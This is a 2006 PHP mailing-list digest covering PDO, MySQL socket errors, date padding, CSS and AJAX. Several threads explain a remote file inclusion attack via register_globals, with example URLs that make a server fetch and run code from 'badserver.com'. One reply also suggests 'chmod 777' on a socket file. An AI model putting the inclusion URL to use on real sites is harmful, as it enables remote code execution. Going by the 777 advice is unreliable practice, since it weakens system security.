php-general Digest 14 Nov 2006 18:17:23 - Issue 4459
Topics (messages 244584 through 244605):
Re: one click - two actions?
244584 by: Paul Novitski
244600 by: tedd
PHP firebird driver
244585 by: Jacques Marneweck
Re: Parsing brackets in text
244586 by:
Hi,
Does anyone know how the firebird (ibase_pconnect) driver handles link
failure. From what I can see it automatically reconnects to a firebird
database server once the link comes back up without passing back a error
that the database which it connects to has gone away like the
Actually, preg_replace() can solve Dotan Cohen's problem. There was just a
minor mistake in the code.
Please try this:
?php
function makeLink($title) {
$returnString=b$title/b;
return $returnString;
}
$articleText=This is a very [long] and [stupid] string.;
Please note if you dont need it now you may will need it later so
please save it for the future :) :)
Message: Destination: Amman
Season: January - December
Languages: English, Arabic
Minimum Cost: 50 US Dollar (USD) Per day
Maximum Cost: 100 US Dollar (USD) Per day
I have a 6 years
Hi there!
I´m building a form validator using PHP and JS. It´s working fine by
now, but I want to make a little improvement. Here is how its working now:
1. The user fill the form. Every time he leaves the field, the JS
code match the value against a regexp to validate.
2. When the user
I have just encountered a fatal error using file_put_contents() on a PHP4 box.
After a bit of research I found a simple function within the php.net
user comments.
I just wanted to know what happens if I then tried to run this script
on a PHP 5 box, whereby I'd be defining a function that already
Larry Garfield escreveu:
On Monday 13 November 2006 17:51, Chris wrote:
It's not going to make a great deal of difference if you do the
processing in the MySQL or the PHP, in this case it's basically the same
operation in each. I suspect that efficiently recreating the LIKE
functionality
On 14 Nov 2006, at 02:17 , Raven.Hawk wrote:
Please note if you dont need it now you may will need it
later so please save it for the future :)
[CHOMP]
--
This email is send by Demo Software
/me wonders if Demo Software is at
On Tue, 14 Nov 2006 09:36:52 +, Tom Chubb wrote:
I have just encountered a fatal error using file_put_contents() on a PHP4 box.
After a bit of research I found a simple function within the php.net
user comments.
I just wanted to know what happens if I then tried to run this script
on a
On 13 Nov 2006, at 12:22 , Alain Roger wrote:
I would like to have a scrolling text (as banner) on our website.
er. eww. But OK.
so, i would like to know if there is another way how to do a
scrolling text
without using flash, shockwave or other tool...only in php or HTML
(in worse
Raphael Martins wrote:
But I don´t know how to loop over every attribute for each tag in the
DomTree.
Not sure if you need to do this element by element or just want all
attributes, but here are two ways using DOM. They assume $dom is an
already loaded DOMDocument.
1 - Use XPath:
$xPath
# [EMAIL PROTECTED] / 2006-11-14 07:57:33 -0800:
I based this code off the example in the documentation:
http://us2.php.net/manual/en/ref.pdo.php#AEN149844 (Example 12. Displaying
an image from a database)
Any suggestions? It seems to be that it *should* be doing what I want, but
it
Google Kreme [EMAIL PROTECTED] wrote: On 14 Nov 2006, at 02:17 , Raven.Hawk
wrote:
Please note if you dont need it now you may will need it
later so please save it for the future :)
[CHOMP]
--
This email is send by Demo
Hi all.
I'm trying to read binary data from a MySQL 5 database using PDO's
PARAM_LOB stream, but it's not working. It always returns the data as a
string (not a stream).
I've found discussions where other people had this problem, but they all
seem to have been solved by settng the
Ryan A wrote:
Dont know if its written in php or not but it does prove a point
software is getting more and more user friendly and our pal Raven Hawk has
shown us even if both your parents are/were related and you were made fun of in school
for being slow...and married a moron (and
Stut [EMAIL PROTECTED] wrote: Ryan A wrote:
Dont know if its written in php or not but it does prove a point
software is getting more and more user friendly and our pal Raven Hawk has
shown us even if both your parents are/were related and you were made fun of
in school for being
At 12:31 PM -0800 11/13/06, Mel wrote:
I really don't know?
My site is all php and ready to go live except for this little problem.
I would really appreciate some help.
On Nov 13, 2006, at 4:12 AM, John Meyer wrote:
Not to be rude or anything, but if you want to do two things with one
At 7:12 PM +0100 11/13/06, Rory Browne wrote:
If register_globals is enabled, someone could
http://www.example.com/badscript.php?path=http://www.badserver.com/badscript.txt?dummy=
The script will then include
http://www.badserver.com/badscript.txt?dummy=script.php
I still don't see how
At 12:38 PM -0500 11/13/06, Eric Butera wrote:
Tedd,
I've seen this happen before when someone was able to do a remote code
execution exploit on an old version of a very popular open source
shopping cart project. I'd say the first thing would be to try and
find any include/require statements
I'm running a php script from the command line (I'm on OS X) and I'm
getting ...
Warning: mysql_connect(): Can't connect to local MySQL server through
socket '/var/mysql/mysql.sock' (2)
Here's the script (this just tests a connection and a query...the
actual script imports data from text
I noticed that if I do something like this:
$prevminute = date(i)-1;
..and the current minute happens to be '05', $prevminute becomes '4'
- I lose the padding. How can I ensure that I retain that padding? I
suppose a crud solution is to run $prevminute through an if loop to see
touch /var/mysql/mysql.sock
chmod 777 /var/mysql/mysql.sock
On 11/14/06, James Tu [EMAIL PROTECTED] wrote:
I'm running a php script from the command line (I'm on OS X) and I'm
getting ...
Warning: mysql_connect(): Can't connect to local MySQL server through
socket '/var/mysql/mysql.sock' (2)
tedd wrote:
The script will then include
http://www.badserver.com/badscript.txt?dummy=script.php
I still don't see how badscript.php can be uploaded into
example.com's site in the first place
PHP sends a request to badserver.com for badscript.txt, and the content
of the response is
ok. so the location of mysql.sock is a problem.
I found it at /tmp/mysql.sock
Why is the CLI looking for it at /var/myslq/mysql.sock?
Now the question is...
Do I change the mysql settings so that mysql.sock is at /tmp/
mysql.sock? (If I do, will the PHP module with Apache still be ok?)
or
Run this command:
/path/to/cli/php -i|grep MYSQL_SOCKET
What does that show? It sounds like the PHP module for Apache is using
a different php.ini file then the CLI version.
It also looks like the CLI versions php.ini is not pointing to the
proper path to the mysql.sock. Look under the mysql
I've just upgraded to php 5 and am now getting the following error:
Warning:
unlink(/home/mywebsite/public_html/resumes/travelport_holiday_rev1.html)
[function.unlink]: No such file or directory
This worked fine prior to the upgrade and obviously the file does exist.
What has changed and
At 1:39 PM -0500 11/14/06, Chris Shiflett wrote:
tedd wrote:
The script will then include
http://www.badserver.com/badscript.txt?dummy=script.php
I still don't see how badscript.php can be uploaded into
example.com's site in the first place
PHP sends a request to badserver.com for
Please see below
On Nov 14, 2006, at 2:24 PM, [EMAIL PROTECTED] wrote:
Run this command:
/path/to/cli/php -i|grep MYSQL_SOCKET
MYSQL_SOCKET = /var/mysql/mysql.sock
What does that show? It sounds like the PHP module for Apache is
using
a different php.ini file then the CLI version.
At 11:57 AM -0800 11/14/06, bruce wrote:
hi tedd...
for the following url, http://www.example.com/test.php?path=abc?dummy=123
if the register_globals is on, a malicious user could potentially invoke,
http://www.example.com/badscript.php?path=http://www.badserver.com/badscript
.txt?dummy=123,
$prevminute = sprintf('%02s', date(i)-1);
-Original Message-
From: Ashley M. Kirchner [mailto:[EMAIL PROTECTED]
Sent: Tuesday, November 14, 2006 1:17 PM
To: PHP General List
Subject: [PHP] date() function
I noticed that if I do something like this:
$prevminute =
(Top posting, as seems to be the trend in this thread)
Tedd,
It might be that you are hosting on a shared host, and that the attacker
compromised another site on that host giving him access to your (and
everyone else's) web root. If that is the case, your hosting provider needs
to look into
James Tu wrote:
Please see below
..
you fell foul of the 'there is no php.ini' trap :-)
(please repeat in a homer simpson voice)
or should I create a symbolic link to the php.ini that Apache is using?
use a seperate php.ini - more flexibility
That'll tell you where the php.ini file
You could make a new php.ini for flexibility like Jochem stated.
To make things easy, just copy the file over:
cp /usr/local/php5/lib/php.ini /etc/php.ini
And that should do it.
James Tu wrote:
Please see below
On Nov 14, 2006, at 2:24 PM, [EMAIL PROTECTED] wrote:
Run this command:
tedd wrote:
At 1:39 PM -0500 11/14/06, Chris Shiflett wrote:
tedd wrote:
The script will then include
http://www.badserver.com/badscript.txt?dummy=script.php
I still don't see how badscript.php can be uploaded into
example.com's site in the first place
PHP sends a request to
hi tedd...
for the following url, http://www.example.com/test.php?path=abc?dummy=123
if the register_globals is on, a malicious user could potentially invoke,
http://www.example.com/badscript.php?path=http://www.badserver.com/badscript
.txt?dummy=123, which would cause the 'badscript.txt' to be
YES YES! that is exactly what I want.
But I don't know how to do what you are suggesting!
On Nov 14, 2006, at 8:59 AM, tedd wrote:
At 12:31 PM -0800 11/13/06, Mel wrote:
I really don't know?
My site is all php and ready to go live except for this little
problem.
I would really appreciate
At 11:57 AM -0800 11/14/06, bruce wrote:
hi tedd...
for the following url, http://www.example.com/test.php?path=abc?dummy=123
if the register_globals is on, a malicious user could potentially invoke,
http://www.example.com/badscript.php?path=http://www.badserver.com/badscript
.txt?dummy=123,
Thanks everyone!
On Nov 14, 2006, at 3:20 PM, [EMAIL PROTECTED] wrote:
You could make a new php.ini for flexibility like Jochem stated.
To make things easy, just copy the file over:
cp /usr/local/php5/lib/php.ini /etc/php.ini
And that should do it.
James Tu wrote:
Please see below
On
Mel wrote:
YES YES! that is exactly what I want.
But I don't know how to do what you are suggesting!
You'll have to read some documentation about AJAX if that's what you
want, but thankfully there are some easy AJAX toolkits out there. Of the
ones I've tried, I find xajax (xajax.sf.net) to be
tedd wrote:
Ohhh, so badscript.php doesn't have to exist and the badscript.txt is
imported via the url, the script is built using only the badscript.txt,
and then executed as-is -- clever.
Off to try that... :-)
...
Nope, that didn't work -- I still don't get it.
I realize that one can
At 12:30 PM -0800 11/14/06, Mel wrote:
YES YES! that is exactly what I want.
I'll send it to you off-list.
But, to see it work, try this:
http://xn--ovg.com/ajax_w_picts1
tedd
--
---
http://sperling.com http://ancientstones.com http://earthstones.com
--
PHP General Mailing List
I have a site that does the following:
You fill out a form with client info, click process, it moves to
another page that calls a few php functions i wrote (sending client
welcome email, adding client details to database and a few other
things). What I want the page to do is delay some of
At 9:13 PM + 11/14/06, Stut wrote:
Ok, so badscript.php is a bad name for this script. Let's say
show.php is a script you've written. You were tired, the kids were
running around you screaming and shouting, and you wrote something
like the following without really thinking about it...
brian debottari (sin7) wrote:
I have a site that does the following:
You fill out a form with client info, click process, it moves to another
page that calls a few php functions i wrote (sending client welcome
email, adding client details to database and a few other things). What I
want the
Posts like this are what makes this list so great!
It's better to read this here than experience it first hand!
Thanks Tedd, for highlighting the problem.
Tom
On 14/11/06, tedd [EMAIL PROTECTED] wrote:
At 9:13 PM + 11/14/06, Stut wrote:
Ok, so badscript.php is a bad name for this script.
On 14/11/06, Larry Garfield [EMAIL PROTECTED] wrote:
As a general rule, I try to push as much logic into the query as I can for the
simple reason that MySQL is optimized C and my PHP code gets interpreted.
The odds of me writing something in PHP that's faster than MySQL AB's C code
are slim. :-)
This numer has dynamic lenght, witch is the root of my problems.
$number = 123456789
should print as following:
var1: 12345 (and it is this lengt witch varies)
var2: 67
var3: 89.
I've been using substr with negative numbers to fetch the last two vars.
thereafter explode to get the first
# [EMAIL PROTECTED] / 2006-11-14 20:17:16 +0200:
On 11/14/06, James Tu [EMAIL PROTECTED] wrote:
I'm running a php script from the command line (I'm on OS X) and I'm
getting ...
Warning: mysql_connect(): Can't connect to local MySQL server through
socket '/var/mysql/mysql.sock' (2)
touch
Roman Neuhauser wrote:
# [EMAIL PROTECTED] / 2006-11-14 20:17:16 +0200:
On 11/14/06, James Tu [EMAIL PROTECTED] wrote:
I'm running a php script from the command line (I'm on OS X) and I'm
getting ...
Warning: mysql_connect(): Can't connect to local MySQL server through
socket
What's the code?
-D
On Nov 14, 2006, at 4:17 PM, Børge Holen wrote:
This numer has dynamic lenght, witch is the root of my problems.
$number = 123456789
should print as following:
var1: 12345 (and it is this lengt witch varies)
var2: 67
var3: 89.
I've been using substr with negative
Assuming var1 and var2 only ever use the last four numbers (untested):
$length = strlen($number); // get string length
$var1 = substr($number,0,$length-4); // get number until only 4 numbers are
left
$var2 = substr($number,$length-4,2); // get 3rd and 4th last numbers.
$var3 =
On 11/10/06, jonathan [EMAIL PROTECTED] wrote:
I know that PDO has drivers only for MySQL 3/4. Is anybody getting
it work with MySQL 5. I'd like to try out the Zend Framework but our
db uses MySQL 5. We could create a second db in 4.1 and run it with
that but I'd rather not to.
It's kinda
How can I insert header() info directly into the ob_start stream?
I am compressing a css file with php before it is outputted to the
browser,
The below DOES work, but I have to insert the php header() info
DIRECTLY into the css file.
Otherwise, mystyle.css is interpreted as text/html
Tom Ray [Lists] wrote:
Roman Neuhauser wrote:
# [EMAIL PROTECTED] / 2006-11-14 20:17:16 +0200:
On 11/14/06, James Tu [EMAIL PROTECTED] wrote:
I'm running a php script from the command line (I'm on OS X) and I'm
getting ...
Warning: mysql_connect(): Can't connect to local MySQL server
Is there a way to make a regular expression to match on a particular way
the letters are arranged? For instance, if you had a word:
THAT
It could match on any word in the dictionary that had the form:
1231
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit:
Can you elaborate a little? Do you mean that you want certain
letters to have a numeric representation?
-D
On Nov 14, 2006, at 6:57 PM, John Meyer wrote:
Is there a way to make a regular expression to match on a
particular way
the letters are arranged? For instance, if you had a word:
Chris wrote:
Tom Ray [Lists] wrote:
Roman Neuhauser wrote:
# [EMAIL PROTECTED] / 2006-11-14 20:17:16 +0200:
On 11/14/06, James Tu [EMAIL PROTECTED] wrote:
I'm running a php script from the command line (I'm on OS X) and I'm
getting ...
Warning: mysql_connect(): Can't connect to
Tom Ray [Lists] wrote:
Chris wrote:
Tom Ray [Lists] wrote:
Roman Neuhauser wrote:
# [EMAIL PROTECTED] / 2006-11-14 20:17:16 +0200:
On 11/14/06, James Tu [EMAIL PROTECTED] wrote:
I'm running a php script from the command line (I'm on OS X) and I'm
getting ...
Warning:
I'm reading a book on CSS and how you can define different style
sheets for different visitors. I'm wondering how you guys do it.
The book recommends using Javascript functions for identifying the
user's browser and matching them with the corresponding style
sheets. Anyone using PHP for
I guess the $_SERVER predefined variable can be used determining the
platform and browser/user-agent and loading the CSS of choice.
http://www.php.net/manual/en/reserved.variables.php
Enjoy!
Jervin
-Original Message-
From: Ed Lazor [mailto:[EMAIL PROTECTED]
Sent: Wednesday, November
As a footnote, do NOT then generate different CSS for each browser. Simply
generate different link tags in the header to point to style.css or
style-broken-ie.css. Those should both be static, ordinary files so that you
get all of the browser's caching magic free of charge.
On Tuesday 14
At 11/14/2006 03:17 PM, Børge Holen wrote:
$number = 123456789
should print as following:
var1: 12345 (and it is this lengt witch varies)
var2: 67
var3: 89.
You can also do this with a regular expression:
$iNumber = '123456789';
$sPattern = '/(\d+)(\d{2})(\d{2})$/';
preg_match($sPattern,
At 11/14/2006 08:00 PM, Ed Lazor wrote:
I'm reading a book on CSS and how you can define different style
sheets for different visitors. I'm wondering how you guys do it.
The book recommends using Javascript functions for identifying the
user's browser and matching them with the corresponding
I usualy use an array with site configuration which I define at top
included file so you cannot overwrite the configuration paths from
outside the scripts.
?
$APP_CFG = array();
$APP_CFG[my_path] = /somewhere/on/server/;
?
From TFM:
If URL fopen wrappers are enabled in PHP
64 matches
Mail list logo